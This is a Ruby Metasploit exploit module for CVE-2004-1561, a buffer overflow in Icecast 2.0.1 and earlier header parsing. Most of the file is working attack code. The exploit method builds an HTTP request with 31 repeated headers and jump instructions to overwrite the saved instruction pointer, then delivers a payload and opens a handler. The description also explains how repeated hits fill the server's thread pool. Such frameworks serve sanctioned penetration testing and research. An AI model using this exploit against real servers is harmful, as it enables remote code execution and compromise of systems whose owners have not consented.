92 lines
2.8 KiB
Ruby
92 lines
2.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Icecast Header Overwrite',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in the header parsing of icecast
|
|
versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32
|
|
HTTP headers will cause a write one past the end of a pointer array. On
|
|
win32 this happens to overwrite the saved instruction pointer, and on
|
|
linux (depending on compiler, etc) this seems to generally overwrite
|
|
nothing crucial (read not exploitable).
|
|
|
|
This exploit uses ExitThread(), this will leave icecast thinking the
|
|
thread is still in use, and the thread counter won't be decremented.
|
|
This means for each time your payload exits, the counter will be left
|
|
incremented, and eventually the threadpool limit will be maxed. So you
|
|
can multihit, but only till you fill the threadpool.
|
|
},
|
|
'Author' => [ 'spoonm', 'Luigi Auriemma <aluigi[at]autistici.org>' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2004-1561'],
|
|
[ 'OSVDB', '10406'],
|
|
[ 'BID', '11271'],
|
|
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2000,
|
|
'BadChars' => "\x0d\x0a\x00",
|
|
'DisableNops' => true,
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { }],
|
|
],
|
|
'DisclosureDate' => 'Sep 28 2004',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8000)
|
|
], self.class)
|
|
end
|
|
|
|
# Interesting that ebp is pushed after the local variables, and the line array
|
|
# is right before the saved eip, so overrunning it just by 1 element overwrites
|
|
# eip, making an interesting exploit....
|
|
# .text:00414C00 sub esp, 94h
|
|
# .text:00414C06 push ebx
|
|
# .text:00414C07 push ebp
|
|
# .text:00414C08 push esi
|
|
|
|
def exploit
|
|
connect
|
|
|
|
# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
|
|
# jmp 12
|
|
evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
|
|
evul << "Accept: text/html\r\n" * 31;
|
|
|
|
# jmp [esp+4]
|
|
evul << "\xff\x64\x24\x04\r\n"
|
|
evul << "\r\n"
|
|
|
|
sock.put(evul)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|